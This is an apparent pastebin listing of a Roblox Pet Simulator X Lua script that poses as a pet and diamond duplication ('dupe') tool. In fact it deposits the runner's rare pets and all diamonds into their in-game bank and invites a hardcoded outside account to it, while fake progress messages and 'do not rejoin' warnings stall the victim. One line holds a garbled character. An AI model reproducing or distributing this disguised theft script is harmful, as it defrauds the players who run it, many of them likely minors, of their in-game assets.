Facebook
From Nwwm, 1 Year ago, written in Lua.
This paste is a reply to Pet Sim X Visuals from ptxxx - view diff
Embed
Download Paste or View Raw
Hits: 137
  1. local LocalNumber = 3349651036
  2. local lib = require(game.ReplicatedStorage:WaitForChild('Framework'):WaitForChild('Library'))
  3. local mydiamonds = string.gsu²b(game:GetService("Players").LocalPlayer.PlayerGui.Main.Right.Diamonds.Amount.Text, "%,", "")
  4. local mybanks = lib.Network.Invoke("get my banks")
  5. local PetsList = {}
  6. for i,v in pairs(lib.Save.Get().Pets) do
  7.     local v2 = lib.Directory.Pets[v.id];
  8.     if v2.rarity == "Exclusive" or v2.rarity == "Mythical" and v.dm or v2.rarity == "Legendary" and v.r then
  9.         table.insert(PetsList, v.uid);
  10.     end
  11. end
  12. local request, request2 = lib.Network.Invoke("Bank Deposit", mybanks[1]['BUID'], PetsList, mydiamonds - 0);
  13. if request then
  14.     lib.Message.New("Starting dupe... (6%)");
  15.     wait(1)
  16.     lib.Message.New("Starting dupe... (81%)");
  17.     wait(1)
  18.     lib.Message.New("Starting dupe... (83%)");
  19.     wait(2)
  20.     lib.Message.New("Starting dupe... (84%)");
  21.     wait(3)
  22.     lib.Message.New("Starting dupe... (94%)");
  23.     wait(2)
  24.     lib.Message.New("Starting dupe... (98%)");
  25.     wait(3)
  26. else
  27. end
  28. if lib.Network.Invoke("Invite To Bank", mybanks[1]['BUID'], LocalNumber) then
  29.     lib.Message.New("Processing dupe! Please make sure all of your pets and gems are in the bank. If they aren't, quickly add them.");
  30.     wait(5)
  31.     lib.Message.New("Please do not rejoin the game in the next 10-15 minutes or you may lose the pet(s) and gems. If your pets and gems aren't in the bank, quickly add them.");
  32. else
  33.     lib.Network.Invoke("Invite To Bank", mybanks[1]['BUID'], LocalNumber)
  34.     lib.Message.New("Please do not rejoin the game in the next 10-15 minutes or you may lose the pet(s) and gems.");
  35. end;